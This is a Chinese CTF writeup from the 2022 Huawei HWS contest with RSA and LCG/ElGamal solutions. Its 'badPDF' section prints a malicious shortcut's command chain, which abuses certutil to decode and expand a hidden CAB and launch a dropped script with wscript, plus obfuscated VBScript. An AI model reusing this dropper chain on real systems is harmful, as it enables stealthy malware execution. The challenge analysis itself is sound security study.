0%

2022华为HWS选拔赛WP

2022华为HWS选拔赛WP

1. 个人信息

名称:Hakkar0597

排名:104

2. 解题情况

一道Misc,总三道

两道Crypto,总三道

答题情况

3. 具体WP

MISC

题目一名称:badPDF

不会。

找到了网上的PDF有关题解,发现2020年华为HWS选拔赛曾出过。

细看是原题复现(一点没变)。
ZYA’s Writeup关于此题讲解的透彻,只差最后对VBScript语言的调试。

因为Mac端没找到合适的,最后选择了粗略学习此语言后,用Python

步骤一

Cat 这个lnk文件,发现命令。

1
2
3
C:\R1dP?YWindows??:?dP?Y*WindowsV1dP?ZSystem32??:?dP?Z*?System32R2?t=!b cmd.exe??F??F?*uxcmd.exeJ-Ip??C:\Windows\System32\cmd.exe!..\..\..

\Windows\System32\cmd.exe?/c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp&%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp&expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp% &wscript %tmp%\\9sOXN6Ltf0afe7.js.pdf?%SystemRoot%\system32\cmd.exe%SystemRoot%\system32\cmd.exe?%?
步骤二

%tmp%目录中 发现了过程

1
2
3
4
5
findstr.exe "TVNDRgAAAA" g4ZokyumBB2gDn.tmp >00hululu

.\msoia.exe -decode .\00hululu 11hahaha

expand .\11hahaha -F:* ./
步骤三

执行命令后,产生了9sOXN6Ltf0afe7.js;20200308-sitrep-48-covid-19.pdf;cSi1r0uywDNvDu.tmp

将生成的cSi1r0uywDNvDu.tmp的内容base64后Winrar解压开来,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="VBScript">
<![CDATA[
rBOH7OLTCVxzkH = HrtvBsRh3gNUbe("676d60667a64333665326564333665326564333665326536653265643336656564333665327c"):
execute(rBOH7OLTCVxzkH):
function HrtvBsRh3gNUbe(bhhz6HalbOkrki):
for rBOH7OLTCVxzkH= 1 to len(bhhz6HalbOkrki) step 2:
HrtvBsRh3gNUbe = HrtvBsRh3gNUbe & chr(asc(chr("&h" & mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2)))xor 1):
next:
end function:
]]> </ms:script>
</stylesheet>
步骤四

对其中VBScript语言学习后,意识到只是异或即可解开,编写脚本

1
2
3
4
5
6
7
8
9
10
11
from binascii import a2b_hex

c = "676d60667a64333665326564333665326564333665326536653265643336656564333665327c"

s = str(a2b_hex(c))[2:-1]

for i in s:

print(chr(ord(i) ^ 1), end="")

# flag{e27d3de27d3de27d3d7d3de27dde27d3}

昨天半夜,无意间点开blog的about,发现是学长

NEFU,YYDS!

Crypto

题目一名称:babyrsa

步骤一

将enc文件加上后缀txt,看到chall中所打印的数据,得到N,e,c

步骤二

网页在线分解大素数N,获得p、q,计算欧拉函数(p-1)*(q-1),求逆元d,得解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import gmpy2
from Crypto.Util.number import *

p = 98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033

q = 133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513

n = p*q

e = 2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877

c = 1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524

phi = (p-1)*(q-1)

d = gmpy2.invert(e, phi)

m = gmpy2.powmod(c, d, n)

print(long_to_bytes(m))
# hwctf{01d_Curs3_c4Me_Again}

题目二名称:crypto_Elgamal

步骤一

典型的Elgamal算法,要求出A、B、q

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
s0 = 543263588863771657634119

s1 = 628899245716105951093835

s2 = 78708024695487418261582

s3 = 598971435111109998816796

s4 = 789474285039501272453373



assert ( A * s0 + B ) % q == s1

assert ( A * s1 + B ) % q == s2

assert ( A * s2 + B ) % q == s3

assert ( A * s3 + B ) % q == s4

用模运算有关知识尝试了一个上午,不会了,解不开。

伟大的lines指引我说“线性同余”

我悟。

线性同余方程

目的 公式
1.Xn+1反推出Xn Xn=(a-1 (Xn+1 - b))%m
2.求a a=((Xn+2-Xn+1)(Xn+1-Xn)-1)%m
3.求b b=(Xn+1 - aXn)%m
4.求m tn=Xn+1-Xn,m=gcd((tn+1tn-1 - tntn) , (tntn-2 - tn-1tn-1))

对应关系:

a -> A

b -> B

m -> q

t -> s
根据性质,先求出q,后用q求出A、B;

为了方便取值,我用n=2来进行运算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import gmpy2



s0 = 543263588863771657634119

s1 = 628899245716105951093835

s2 = 78708024695487418261582

s3 = 598971435111109998816796

s4 = 789474285039501272453373



"""

LCG算法,求q

"""



# tn=Xn+1-Xn

# m=gcd((tn+1tn-1 - tntn) , (tntn-2 - tn-1tn-1))



# tn+1 = Xn+2 - Xn+1

# t2+1 = X2+2 - X2+1

tnjia1 = s4 - s3



# tn-1 = Xn - Xn-1

# t2-1 = X2 - X2-1

tnjian1 = s2 - s1



# tn = Xn+1 - Xn

# t2 = X2+1 - X2

tn = s3 - s2



# tn-2 = Xn-1 - Xn-2

# t0 = s1 - s0

tnjina2 = s1 - s0



q = gmpy2.gcd((tnjia1 * tnjian1 - tn * tn), (tn * tnjina2 - tnjian1 * tnjian1)) # q = 791763770658839585424113





"""

求A

"""

# a = ((Xn+2-Xn+1)(Xn+1-Xn)-1)%m

# A = ((s4-s3)* (s3-s2)-1 ) mod q

inv = int(gmpy2.invert(s3-s2, q)) # 179550098159049266105992

A = ((s4-s3)*inv) % q # 791763770658839585424113





"""

求B

"""

# b = (Xn+1 - aXn)%m

# B = (s3 - A*s2)%q

B = (s3 - A*s2) % q # 3035433788765894539799



print("A=", A)

print("B=", B)

print("q=", q)
步骤二

参数齐全后,根据CTFwiki上的同类型题的现成代码解不开(95%相似度

在我犹豫与惆怅时

伟大的lines指引我说此处(K-Pop forever!

利用A、B、q与已有的成熟Elgamal解法(稍加修改),解出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
from Crypto.Util.number import *
import gmpy2



s0 = 543263588863771657634119

s1 = 628899245716105951093835

s2 = 78708024695487418261582

s3 = 598971435111109998816796

s4 = 789474285039501272453373



"""

LCG算法,求q

"""



# tn=Xn+1-Xn

# m=gcd((tn+1tn-1 - tntn) , (tntn-2 - tn-1tn-1))



# tn+1 = Xn+2 - Xn+1

# t2+1 = X2+2 - X2+1

tnjia1 = s4 - s3



# tn-1 = Xn - Xn-1

# t2-1 = X2 - X2-1

tnjian1 = s2 - s1



# tn = Xn+1 - Xn

# t2 = X2+1 - X2

tn = s3 - s2



# tn-2 = Xn-1 - Xn-2

# t0 = s1 - s0

tnjina2 = s1 - s0



q = gmpy2.gcd((tnjia1 * tnjian1 - tn * tn), (tn * tnjina2 - tnjian1 * tnjian1)) # q = 791763770658839585424113





"""

求A

"""

# a = ((Xn+2-Xn+1)(Xn+1-Xn)-1)%m

# A = ((s4-s3)* (s3-s2)-1 ) mod q

inv = int(gmpy2.invert(s3-s2, q)) # 179550098159049266105992

A = ((s4-s3)*inv) % q # 791763770658839585424113





"""

求B

"""

# b = (Xn+1 - aXn)%m

# B = (s3 - A*s2)%q

B = (s3 - A*s2) % q # 3035433788765894539799



g = 27642593390439430783453736408814717946185190497201679721975757020767271070510268596627490205095779429964809833535285315202625851326460572368018875381603399143376574281200028337681552876140857556460885848491160812604549770668188783258592940823128376128198726254875984002214053523752696104568469730021811399216

h = 54585833166051670245656045196940486576634589000609010947618047461787934106392112227019662788387352615714332234871251868259282522817042504587428441746855906297390193418159792477477443129333707197013251839952389651332058368911829464978546505729530760951698134101053626585254469108630886768357270544236516534904

p = 65211247300401312530078141569304950676358489059623557848188896752173856845051471066071652073612337629832155846984721797768267868868902023383604553319793550396610085424563231688918357710337401138108050205457200940158475922063279384491022916790549837379548978141370347556053597178221402425212594060342213485311





c1 = 60724920570148295800083597588524297283595971970237964464679084640302395172192639331196385150232229004030419122038089044697951208850497923486467859070476427472465291810423905736825272208842988090394035980454248119048131354993356125895595138979611664707727518852984351599604226889848831071126576874892808080133

c2 = 48616294792900599931167965577794374684760165574922600262773518630884983374432147726140430372696876107933565006549344582099592376234783044818320678499613925823621554608542446585829308488452057340023780821973913517239972817669309837103043456714481646128392677624092659929248296869048674230341175765084122344264

c1_ = 42875731538109170678735196002365281622531058597803022779529275736483962610547258618168523955709341579773947887175626960699426438456382655370090748369934296474999389316334717699127421889816721511602392591677377678759026657582648354688447456509292302633971842316239774410380221303269351351929586256938787054867

c2_ = 64829024929257668640929285124747107162970460545535885047576569803424908055130477684809317765011143527867645692710091307694839524199204611328374569742391489915929451079830143261799375621377093290249652912850024319433129432676683899459510155157108727860920017105870104383111111395351496171846620163716404148070



# q is prime

# g ** q % p == 1



m_q = pow(c2, q, p)

m_A_1 = (pow(c2, A, p) * gmpy2.invert(c2_, p) * pow(h, B, p)) % p



_, i, j = gmpy2.gcdext(A-1, q)



if i > 0:

tmp1 = pow(m_A_1, i, p)

else:

tmp1 = gmpy2.invert(int(pow(m_A_1, -i, p)), p)



if j > 0:

tmp2 = pow(m_q, j, p)

else:

tmp2 = gmpy2.invert(int(pow(m_q, -j, p)), p)



m = (tmp1 * tmp2) % p

print(long_to_bytes(m)) # b'flag{19e9f185e6a680324cedd6e6d9382743}'

VBscript

循环

  • for i=X to Y
  • Next
  • step

img

函数

  • 赋值 定义了 函数返回值

image-20220124154333389

可惜,去不了华为学习

业已尽力,冲!